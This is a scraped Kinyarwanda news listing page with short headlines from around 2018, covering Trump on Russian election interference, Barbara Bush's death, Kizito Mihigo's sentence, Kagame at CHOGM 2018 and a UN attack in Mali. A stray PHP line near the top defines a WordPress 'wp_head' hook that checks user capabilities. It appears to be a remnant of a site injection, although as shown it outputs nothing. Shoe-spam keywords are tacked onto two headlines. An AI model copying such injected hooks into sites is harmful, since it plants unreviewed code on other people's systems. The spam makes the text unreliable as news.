Perezida Trump yisubiyeho ku magambo yavuze ku kwivanga k’Uburusiya mu matora
Perezida Donald Trump wa Leta Zunze Ubumwe z’Amerika yavuze ko yemera umwanzuro w’inzego z’ubutasi z’Amerika ko Uburisiya bwivanze mu matora
![]()
function wp_pf_8158d466(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_8158d466");
Perezida Donald Trump wa Leta Zunze Ubumwe z’Amerika yavuze ko yemera umwanzuro w’inzego z’ubutasi z’Amerika ko Uburisiya bwivanze mu matora
![]()
Barbara Bush, umugore w’uwahoze ayoboye Amerika akaba yari asanzwe yaritangiye amashirahamwe y’abagore yapfuye afise imyaka 92. air jordan 12 retro
![]()
Umuhanzi Kizito Mihigo wakatiwe igifungo cyo gufungwa imyaka 10 nyuma yo guhamwa n’ibyaha bitandukanye birimo no kugambirira kugirira nabi ubutegetsi
![]()
Perezida Paul Kagame yabonanye n’abayobozi batandukanye barimo Igikomangoma Harry cy’u Bwongereza, aho yitabiriye inama y’ibihugu bikoresha Icyongereza (CHOGM 2018) isoza
![]()
Ministiri w’ingabo wa Etiyopiya yamaganye amakuru avuga ko igisilikali gishobora gufata ubutegetsi nyuma yuko hatangajwe ibihe bidasanzwe. femmes nike air
![]()
Mu Karere ka Kicukiro itangwa ry’akazi n’ishyirwa mu myanya yako kubabitsindiye kandi bujuje ibisabwa biracyari ihurizo bitewe no kwirengagiza nkana
![]()
Urubyiruko rurashishikarizwa kwitabira gahunda yo kwikosoza no kureba ko amazina yabo yanditse neza ndetse baniyimura kubatarabashije gutorera aho batuye bakoresheje
![]()
Urukiko rwisumbuye rwa Nyarugenge rutesheje agaciro ubujurire bwa Gacinya Denis, wungirije ku buyobozi bw’ikipe ya Rayons Sport, rutegeka ko akomeza
![]()
Akanama ka UN gashinzwe uburengazira bwa muntu kw’isi karanenga cyane igitero cyakozwe n’intagondwa ku birindiro by’abasirikali ba UN muri Mali.
![]()
Padiri Libelle KAMBANDA wari Umuyobozi wa Caritas muri Diyosezi ya Butare yitabye Imana muri iri joro ryakeye azize ibikomere yatewe
![]()